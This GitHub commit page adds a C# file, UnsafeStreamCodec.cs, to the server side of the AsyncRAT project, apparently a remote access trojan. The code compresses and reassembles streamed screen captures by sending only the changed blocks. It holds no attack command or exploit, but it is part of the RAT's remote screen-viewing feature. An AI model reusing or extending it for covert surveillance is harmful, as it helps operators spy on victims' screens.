Skip to content

Commit

Permalink
Create UnsafeStreamCodec.cs
Browse files Browse the repository at this point in the history
  • Loading branch information
NYAN-x-CAT committed Oct 16, 2023
1 parent b8101ba commit 547e363
Showing 1 changed file with 378 additions and 0 deletions.
378 changes: 378 additions & 0 deletions AsyncRAT-C#/Server/StreamLibrary/UnsafeStreamCodec.cs
@@ -0,0 +1,378 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Server.StreamLibrary
{
public class UnsafeStreamCodec : IDisposable
{
internal Size Resolution { get; private set; }
internal Size CheckBlock { get; private set; }
internal int ImageQuality
{
get { return _imageQuality; }
private set
{
lock (_imageProcessLock)
{
_imageQuality = value;

if (_jpgCompression != null)
{
_jpgCompression.Dispose();
}

_jpgCompression = new JpgCompression(_imageQuality);
}
}
}

private int _imageQuality;
private byte[] _encodeBuffer;
private Bitmap _decodedBitmap;
private PixelFormat _encodedFormat;
private int _encodedWidth;
private int _encodedHeight;
private readonly object _imageProcessLock = new object();
private JpgCompression _jpgCompression;

/// <summary>
/// Initialize a new instance of UnsafeStreamCodec class.
/// </summary>
/// <param name="imageQuality">The quality to use between 0-100.</param>
/// <param name="monitor">The monitor used for the images.</param>
/// <param name="resolution">The resolution of the monitor.</param>
internal UnsafeStreamCodec(int imageQuality)
{
this.ImageQuality = imageQuality;
this.CheckBlock = new Size(50, 1);
}

public void Dispose()
{
Dispose(true);

// Tell the Garbage Collector to not waste time finalizing this object
// since we took care of it.
GC.SuppressFinalize(this);
}

protected virtual void Dispose(bool disposing)
{
if (disposing)
{
if (_decodedBitmap != null)
{
_decodedBitmap.Dispose();
}

if (_jpgCompression != null)
{
_jpgCompression.Dispose();
}
}
}

internal unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, PixelFormat format,
Stream outStream)
{
lock (_imageProcessLock)
{
byte* pScan0;
if (IntPtr.Size == 8)
{
// 64 bit process
pScan0 = (byte*)scan0.ToInt64();
}
else
{
// 32 bit process
pScan0 = (byte*)scan0.ToInt32();
}

if (!outStream.CanWrite)
{
throw new Exception("Must have access to Write in the Stream");
}

int stride = 0;
int rawLength = 0;
int pixelSize = 0;

switch (format)
{
case PixelFormat.Format24bppRgb:
case PixelFormat.Format32bppRgb:
pixelSize = 3;
break;
case PixelFormat.Format32bppArgb:
case PixelFormat.Format32bppPArgb:
pixelSize = 4;
break;
default:
throw new NotSupportedException(format.ToString());
}

stride = imageSize.Width * pixelSize;
rawLength = stride * imageSize.Height;

if (_encodeBuffer == null)
{
this._encodedFormat = format;
this._encodedWidth = imageSize.Width;
this._encodedHeight = imageSize.Height;
this._encodeBuffer = new byte[rawLength];

fixed (byte* ptr = _encodeBuffer)
{
byte[] temp = null;
using (Bitmap tmpBmp = new Bitmap(imageSize.Width, imageSize.Height, stride, format, scan0))
{
temp = _jpgCompression.Compress(tmpBmp);
}

outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
NativeMethods.memcpy(new IntPtr(ptr), scan0, (uint)rawLength);
}
return;
}

if (this._encodedFormat != format)
{
throw new Exception("PixelFormat is not equal to previous Bitmap");
}
else if (this._encodedWidth != imageSize.Width || this._encodedHeight != imageSize.Height)
{
throw new Exception("Bitmap width/height are not equal to previous bitmap");
}

long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
long totalDataLength = 0;

List<Rectangle> blocks = new List<Rectangle>();

Size s = new Size(scanArea.Width, CheckBlock.Height);
Size lastSize = new Size(scanArea.Width % CheckBlock.Width, scanArea.Height % CheckBlock.Height);

int lasty = scanArea.Height - lastSize.Height;
int lastx = scanArea.Width - lastSize.Width;

Rectangle cBlock = new Rectangle();
List<Rectangle> finalUpdates = new List<Rectangle>();

s = new Size(scanArea.Width, s.Height);

fixed (byte* encBuffer = _encodeBuffer)
{
var index = 0;

for (int y = scanArea.Y; y != scanArea.Height; y += s.Height)
{
if (y == lasty)
{
s = new Size(scanArea.Width, lastSize.Height);
}

cBlock = new Rectangle(scanArea.X, y, scanArea.Width, s.Height);

int offset = (y * stride) + (scanArea.X * pixelSize);

if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)stride) != 0)
{
index = blocks.Count - 1;

if (blocks.Count != 0 && (blocks[index].Y + blocks[index].Height) == cBlock.Y)
{
cBlock = new Rectangle(blocks[index].X, blocks[index].Y, blocks[index].Width,
blocks[index].Height + cBlock.Height);
blocks[index] = cBlock;
}
else
{
blocks.Add(cBlock);
}
}
}

for (int i = 0; i < blocks.Count; i++)
{
s = new Size(CheckBlock.Width, blocks[i].Height);

for (int x = scanArea.X; x != scanArea.Width; x += s.Width)
{
if (x == lastx)
{
s = new Size(lastSize.Width, blocks[i].Height);
}

cBlock = new Rectangle(x, blocks[i].Y, s.Width, blocks[i].Height);
bool foundChanges = false;
uint blockStride = (uint)(pixelSize * cBlock.Width);

for (int j = 0; j < cBlock.Height; j++)
{
int blockOffset = (stride * (cBlock.Y + j)) + (pixelSize * cBlock.X);

if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, blockStride) != 0)
{
foundChanges = true;
}

NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, blockStride);
//copy-changes
}

if (foundChanges)
{
index = finalUpdates.Count - 1;

if (finalUpdates.Count > 0 &&
(finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
{
Rectangle rect = finalUpdates[index];
int newWidth = cBlock.Width + rect.Width;
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
finalUpdates[index] = cBlock;
}
else
{
finalUpdates.Add(cBlock);
}
}
}
}
}

for (int i = 0; i < finalUpdates.Count; i++)
{
Rectangle rect = finalUpdates[i];
int blockStride = pixelSize * rect.Width;

Bitmap tmpBmp = null;
BitmapData tmpData = null;
long length;

try
{
tmpBmp = new Bitmap(rect.Width, rect.Height, format);
tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height),
ImageLockMode.ReadWrite, tmpBmp.PixelFormat);

for (int j = 0, offset = 0; j < rect.Height; j++)
{
int blockOffset = (stride * (rect.Y + j)) + (pixelSize * rect.X);
NativeMethods.memcpy((byte*)tmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride);
//copy-changes
offset += blockStride;
}

outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(new byte[4], 0, 4);

length = outStream.Length;
long old = outStream.Position;

_jpgCompression.Compress(tmpBmp, ref outStream);

length = outStream.Position - length;

outStream.Position = old - 4;
outStream.Write(BitConverter.GetBytes(length), 0, 4);
outStream.Position += length;
}
finally
{
tmpBmp.UnlockBits(tmpData);
tmpBmp.Dispose();
}

totalDataLength += length + (4 * 5);
}

outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(totalDataLength), 0, 4);
}
}

internal unsafe Bitmap DecodeData(IntPtr codecBuffer, uint length)
{
if (length < 4)
{
return _decodedBitmap;
}

int dataSize = *(int*)(codecBuffer);

if (_decodedBitmap == null)
{
byte[] temp = new byte[dataSize];

fixed (byte* tempPtr = temp)
{
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(codecBuffer.ToInt32() + 4), (uint)dataSize);
}

this._decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));

return _decodedBitmap;
}
else
{
return _decodedBitmap;
}
}

internal Bitmap DecodeData(Stream inStream)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int dataSize = BitConverter.ToInt32(temp, 0);

if (_decodedBitmap == null)
{
temp = new byte[dataSize];
inStream.Read(temp, 0, temp.Length);
this._decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));

return _decodedBitmap;
}

using (Graphics g = Graphics.FromImage(_decodedBitmap))
{
while (dataSize > 0)
{
byte[] tempData = new byte[4 * 5];
inStream.Read(tempData, 0, tempData.Length);

Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
int updateLen = BitConverter.ToInt32(tempData, 16);

byte[] buffer = new byte[updateLen];
inStream.Read(buffer, 0, buffer.Length);

using (MemoryStream m = new MemoryStream(buffer))
{
using (Bitmap tmp = (Bitmap)Image.FromStream(m))
{
g.DrawImage(tmp, rect.Location);
}
}

dataSize -= updateLen + (4 * 5);
}
}
Resolution = _decodedBitmap.Size;
return _decodedBitmap;
}
}
}

0 comments on commit 547e363

Please sign in to comment.